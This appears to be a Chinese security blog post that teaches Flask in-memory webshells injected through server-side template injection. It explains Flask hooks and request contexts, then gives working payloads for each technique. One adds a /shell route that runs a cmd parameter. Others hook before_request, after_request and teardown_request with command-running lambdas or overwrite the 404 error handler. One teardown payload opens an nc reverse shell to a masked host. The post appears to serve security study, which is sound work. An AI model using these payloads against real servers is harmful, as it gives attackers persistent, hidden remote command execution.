Flask内存马学习
本文最后更新于 516 天前,其中的信息可能已经有所发展或是发生改变。

flask内存马

常用的python框架有django,flask这两者都可能存在ssti漏洞,python内存马利用flask框架中的ssti注入来实现,flask框架中在web应用模版渲染的过程中用到render_template_string进行渲染,但是未对用户输入的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入

前置

钩子函数(hook)

本质是:允许用户在某个特定时机插入自定义逻辑的一种机制,通俗点讲就是,钩子函数就像是在一个流程中预留出来的挂钩点,你可以挂上自己的函数来改变或增强原有的行为

钩子函数的核心特点

  1. 预定义的调用时机:不是你直接调用钩子函数,而是某个系统、框架或库在合适的时候自动调用它。
  2. 用户自定义逻辑:你写的函数会被当作“钩子”插入原流程中执行。
  3. 可插拔、灵活扩展:不需要改动原代码,就可以通过钩子增强功能。

flask的上下文的管理机制

当页面请求进入flask时,会实例化一个request concent,在python中分出了两种上下文,请求上下文和应用上下文

应用上下文:

主要包含:

current_app:当前运行的flask应用实例

g:用于在一次请求中临时存储数据的对象(如数据库连接)

请求上下文:

主要包含:

request:封装了http请求信息(如参数,头信息等)

session:用户会话对象,基于cookie

其中上下文结构本身就是运用了一个Stack的栈结构,就是说他拥有一个栈所拥有的全部特性

request context实例化后会被push到栈_request_ctx_stack中,基于此特性便可以通过获取栈顶元素的方法来获取当前的请求

至于栈结构这里我就不多赘述了

flask内存马(老版)

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

一点点拆分讲,前面一行应该都知道是引用eval

add_url_rule()

它是flask框架中用于手动添加URL路由规则的一个核心方法,用于将URL和视图函数绑定,第一个参数是URL路径,第二个参数是端点名称,第三个参数是要调用的视图函数

简单点说这个方法可以用于增添动态路由

add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None,options)
rule: 函数对应的URL规则, 满足条件和app.route的第一个参数一样, 必须以/开头.
endpoint: 端点, 即在使用url_for进行反转的时候, 这里传入的第一个参数就是endpoint对应的值, 这个值也可以不指定, 默认就会使用函数的名字作为endpoint的值
view_func: URL对应的函数, 这里只需写函数名字而不用加括号.
provide_automatic_options: 控制是否应自动添加选项方法.
options: 要转发到基础规则对象的选项,其他可选参数,比如定义运行的http方法

了解完参数了,其中在老马payload中lamnda这个参数

lambda

lambda 是 Python 中定义“匿名函数”的关键字

它可以在一行内定义一个简单的函数,而不需要使用 def 来显式命名

lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()

去拿到request content中的request对象

它实际上是从当前请求上下文中拿到了 request 对象,然后从中提取了 GET 参数 cmd,用来构造系统命令并执行

后面就是一些局部变量字典的东西了

{
      '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
      'app':url_for.__globals__['current_app']
}

它是payload 初始化运行环境的关键部分

把内存中 Flask 正在运行的核心对象 app 和 _request_ctx_stack 注入到 eval 的局部作用域中供 payload 使用

还有一种payload

向 Flask 应用动态注册一个 /shell 路由,绑定一个匿名函数用于执行系统命令 dir 并返回结果

命令是写死的,但是我们可以更改

sys.modules['__main__']#当前运行的主模块(也就是你正在执行的 .py 文件)对应的模块对象
在 Python 中,解释器运行脚本时,会做以下几件事:
把你执行的文件当作一个模块载入
把它的名字设为 "__main__"(不管你文件叫什么)
把这个模块的变量、函数、类都注册到 sys.modules['__main__'] 中
​
可以等价一下
globals() == sys.modules['__main__'].__dict__
​
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
​
__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd')).read())

有前提的,是需要导入模块

本地应用成功

但是注意flask的版本和werkzeug的版本

我的flask用的是2.1.0

werkzeug是2.3.0

flask内存马(新马)

内存马的原理我们已经懂了,就是利用动态添加路由的方式

然后对于新版的flask内存马,可以利用@app.before_request或者@app.after_request的底层函数

我们就先了解一下这两个东西去

这俩是属于是特殊装饰器,那什么叫装饰器呢?

装饰器

装饰器(Decorator)是 Python 中一种特殊的语法,它的本质是:给一个函数或类“增加功能”,但不需要修改原来的代码

可以说是一种高级函数

就好比是你做了一碗面(原函数),但你想加点辣椒和鸡蛋(功能增强),你得到的其实是“鸡蛋辣椒面”,但原来那碗“面”没变,只是执行的时候多了一些功能

before_request方法

before_request方法运行我们在每个请求之前执行一些操作,我们可以利用这个方法来进行身份验证。请求参数的预处理等任务

简单写一下

from flask import Flask, request
​
app = Flask(__name__)
​
@app.before_request
def log_path():
  print("请求路径是:", request.path)
​
@app.route("/")
def home():
  return "Hello from Flask!"
​
if __name__ == "__main__":
  app.run(debug=True)
​

跟进before_request函数

    @setupmethod
  def before_request(self, f: T_before_request) -> T_before_request:
      """Register a function to run before each request.
​
      For example, this can be used to open a database connection, or
      to load the logged in user from the session.
​
      .. code-block:: python
​
          @app.before_request
          def load_user():
              if "user_id" in session:
                  g.user = db.session.get(session["user_id"])
​
      The function will be called without any arguments. If it returns
      a non-``None`` value, the value is handled as if it was the
      return value from the view, and further request handling is
      stopped.
​
      This is available on both app and blueprint objects. When used on an app, this
      executes before every request. When used on a blueprint, this executes before
      every request that the blueprint handles. To register with a blueprint and
      execute before every request, use :meth:`.Blueprint.before_app_request`.
      """
      self.before_request_funcs.setdefault(None, []).append(f)
      return f

可以看到最后这个self.before_request_funcs.setdefault(None, []).append(f) return f

这是 Flask 框架中 @app.before_request 装饰器的底层逻辑。它的作用是:把你定义的函数注册为一个“请求前钩子函数”

其中这个f就是访问值,是我们可以自己去定义的,那么我们把f设置为一个匿名函数,每次请求前就可以出发了,那不是很爽了

self.before_request_funcs

这是 Flask 应用对象(Flask 类实例)中的一个属性

self.before_request_funcs

它是一个字典,用来保存你注册的所有“请求前钩子函数”

这个结构大概长这样:

{
  None: [func1, func2, ...], # 应用级别的钩子函数(所有请求都触发)
  '某个Blueprint名': [func3, func4, ...], # Blueprint 级钩子(只对该模块有效)
}

setdefault 是 Python 字典的一个方法,用来获取字典中指定键的值。如果该键存在,返回其对应的值;如果不存在,则插入这个键,并将其值设为指定的默认值

setdefault(None, [])等价于:

if None not in self.before_request_funcs:
  self.before_request_funcs[None] = []
return self.before_request_funcs[None]
  • None: 这是我们要检查或插入的键。对于 before_request_funcs 字典,None 键表示全局应用的 before_request 钩子
  • []: 如果 before_request_funcs 字典中不存在键 None,那么 setdefault 会插入这个键,并将其值设为一个空列表 []

那么问题来了,为什么 Flask 中 before_request_funcs 字典用 None 作为键,来表示“全局级钩子”?为什么不是 'global' 或其他字符串?

因为在 Flask 的设计中,None 被用作一种“无 Blueprint” 的标记,表示这个钩子是应用级别的,不属于任何 Blueprint

flask支持两种级别的钩子

类型注册方式应用位置
全局钩子@app.before_request所有请求(不管 URL 属于哪个模块)
模块钩子@bp.before_request只在这个 Blueprint 的请求中触发

为了管理不同来源的钩子,flask使用了一个字典来区分作用域

self.before_request_funcs = {
  None: [...],         # 应用级别的钩子
  'admin': [...],       # admin Blueprint 的钩子
  'api': [...],         # api Blueprint 的钩子
}

None 就是专门为“全局钩子”保留的,在flask对应的源码中

.append(f) 是对列表进行操作的方法,用来将元素 f 添加到列表的末尾

其实本质就是往列表中加入元素,append函数嘛

自然就会想到插入这个

lambda:__import__('os').popen('dir').read()

但是对于before_request是一次性进行打入的

url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())")
​
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

解释一下:

__import__('sys').modules['__main__'].__dict__['app']
这句即当前flask应用实例

sys.modules 是一个 dict,保存了当前 Python 解释器中所有加载的模块

其中sys.modules['__main__']指向当时运行的主模块,也就是if __name__=='__main__'

sys.modules['__main__'].__dict__就代表主模块的全局变量字典

也就是说这一顿操作,你获得了这个app实例,因为你用了flask模块,所以他内置的像是before_request就可以拿来使用了

after_request方法

先看看源码

@setupmethod
  def after_request(self, f: T_after_request) -> T_after_request:
      """Register a function to run after each request to this object.
​
      The function is called with the response object, and must return
      a response object. This allows the functions to modify or
      replace the response before it is sent.
​
      If a function raises an exception, any remaining
      ``after_request`` functions will not be called. Therefore, this
      should not be used for actions that must execute, such as to
      close resources. Use :meth:`teardown_request` for that.
​
      This is available on both app and blueprint objects. When used on an app, this
      executes after every request. When used on a blueprint, this executes after
      every request that the blueprint handles. To register with a blueprint and
      execute after every request, use :meth:`.Blueprint.after_app_request`.
      """
      self.after_request_funcs.setdefault(None, []).append(f)
      return f

拿出来说

 self.after_request_funcs.setdefault(None, []).append(f)

看着好像是一样的嘞

after_request方法允许我们在每个请求之后执行一些操作,我们可以利用这个方法来添加一些响应头,记录请求日志等任务

payload:

url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})

解释一下:

lambda resp: #参数
  CmdResp if request.args.get('cmd') and     #如果请求参数含有cmd则返回命令执行结果
  exec('
      global CmdResp;     #定义一个全局变量
      CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   #创建一个响应对象
  ')==None   #恒真
  else resp) #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务

通过lamdba定义了匿名函数,参数是resp

其中这个if语句是一个三元表达式

A if condition else B

如果 condition 为真,返回 A,否则返回 B

弄懂这个表达式就好了

exec("CmdResp=make_response(...)") == None

为什么是恒真呢,因为exec()是内置函数,在python中总是返回None所以是恒真式

再细点?为什么字符串里有 \?这是因为你写的这个 payload 是一个 字符串形式的 Python 代码(嵌套字符串),所以你需要转义双引号和单引号,避免字符串提前结束

CmdResp = __import__('flask').make_response(             __import__('os').popen(request.args.get('cmd')).read())

当使用after_request要注意的是要定义一个返回值的,不然就会报错,他需要接收一个response和返回一个response

已经讲的很清楚了,如果还不理解那就继续多理解理解吧,自己手动试试,哈哈

teardown_request

在每个请求之后要运行的函数,对每一次请求都会执行一次

也就是在每个请求的最后阶段执行的,即在视图函数处理完成并生成响应后,或者在请求中发生未处理的异常时,都会执行这个hook,他执行的事迹是在响应已经确认之后,但是最终发送给客户端之前

    def teardown_request(self, f: T_teardown) -> T_teardown:
      """Register a function to be called when the request context is
      popped. Typically this happens at the end of each request, but
      contexts may be pushed manually as well during testing.
​
      .. code-block:: python
​
          with app.test_request_context():
              ...
​
      When the ``with`` block exits (or ``ctx.pop()`` is called), the
      teardown functions are called just before the request context is
      made inactive.
​
      When a teardown function was called because of an unhandled
      exception it will be passed an error object. If an
      :meth:`errorhandler` is registered, it will handle the exception
      and the teardown will not receive it.
​
      Teardown functions must avoid raising exceptions. If they
      execute code that might fail they must surround that code with a
      ``try``/``except`` block and log any errors.
​
      The return values of teardown functions are ignored.
​
      This is available on both app and blueprint objects. When used on an app, this
      executes after every request. When used on a blueprint, this executes after
      every request that the blueprint handles. To register with a blueprint and
      execute after every request, use :meth:`.Blueprint.teardown_app_request`.
      """
      self.teardown_request_funcs.setdefault(None, []).append(f)
      return f

拿出来

self.teardown_request_funcs.setdefault(None, []).append(f)
      return f

但是此函数是没有回显的,所以利用方式也就是反弹shell或者是写入文件

url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').system('mkfifo /tmp/fifo; /bin/sh -i < /tmp/fifo | nc xxxxxxxxxxx xxxx > /tmp/fifo; rm /tmp/fifo'))")

写文件

url_for.__globals__['__builtins__']['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen('ls > 1.txt').read())")

可以通过查看1.txt看到ls的回显

实际利用感觉和上面利用一样的,其实就是改了函数名

errorhander使用

此函数可以用于自定义404页面的回显,用于处理应用程序中发生的错误,当你flask遇到错误,你可以定义自定义的错误处理程序来处理错误并返回适当的响应

def errorhandler(self, code_or_exception):
      def decorator(f):
          self._register_error_handler(None, code_or_exception, f)
          return f
      return decorator

还有接着跟进一下_register_error_handler

在 Flask 中注册一个错误处理器,把处理哪个错误、用哪个函数处理,记录到 self.error_handler_spec 中

f就是你定义的处理函数

    def register_error_handler(
      self,
      code_or_exception: type[Exception] | int,
      f: ft.ErrorHandlerCallable,
  ) -> None:
      exc_class, code = self._get_exc_class_and_code(code_or_exception)
      self.error_handler_spec[None][code][exc_class] = f

要能引申

    def _get_exc_class_and_code(
      exc_class_or_code: type[Exception] | int,
  ) -> tuple[type[Exception], int | None]:
      """Get the exception class being handled. For HTTP status codes
      or ``HTTPException`` subclasses, return both the exception and
      status code.
​
      :param exc_class_or_code: Any exception class, or an HTTP status
          code as an integer.
      """
      exc_class: type[Exception]
​
      if isinstance(exc_class_or_code, int):
          try:
              exc_class = default_exceptions[exc_class_or_code]
          except KeyError:
              raise ValueError(
                  f"'{exc_class_or_code}' is not a recognized HTTP"
                  " error code. Use a subclass of HTTPException with"
                  " that code instead."
              ) from None
      else:
          exc_class = exc_class_or_code
​
      if isinstance(exc_class, Exception):
          raise TypeError(
              f"{exc_class!r} is an instance, not a class. Handlers"
              " can only be registered for Exception classes or HTTP"
              " error codes."
          )
​
      if not issubclass(exc_class, Exception):
          raise ValueError(
              f"'{exc_class.__name__}' is not a subclass of Exception."
              " Handlers can only be registered for Exception classes"
              " or HTTP error codes."
          )
​
      if issubclass(exc_class, HTTPException):
          return exc_class, exc_class.code
      else:
          return exc_class, None

从这可以看到

exc_class, code = self._get_exc_class_and_code(code_or_exception)

exc_class/code都是由_get_exc_class_and_code来控制的

这个定义的函数_get_exc_class_and_code是用来处理异常类或HTTP状态码,函数接收一个参数,exc_class_or_code,可以是一个异常类或者一个HTTP状态码

所以他是先被_get_exc_class_and_code然后再通过error_hander_spec进行处理

也可以看到并没有对这个函数进行check,而code_or_execption和f就是原来的那两个参数,就是说绕过了register_error_handler函数,对这里的函数进行控制,就达到了我们想要的目的了

其中error_handler_spec是一个字典,主要是用于映射不同的错误类型到相应的错误处理函数

{
  None: {
      <error_code>: {
          <exc_class>: <error_handler_function>
      }
  }
}

None:用于默认的错误处理程序,如果说没有为特定的错误码或是异常处理程序,就会使用他这个默认的

<error_code>:用于指定错误类型

<exc_class>:异常类,用于指定具体异常

<error_handler_function>: 错误处理函数,当指定的错误码和异常类匹配时,Flask 会调用这个函数来处理错误。

然后就是对f可控

url_for.__globals__.__builtins__.exec("global exc_class;global code;exc_class, code = sys.modules['__main__'].__dict__['app']._get_exc_class_and_code(404);sys.modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd','whoami')).read()")
url_for.__globals__.__builtins__.exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd','whoami')).read()",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})

注意写dome的时候,服务器的处理,需要try来捕捉,保证能够触发404

就先到这吧

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇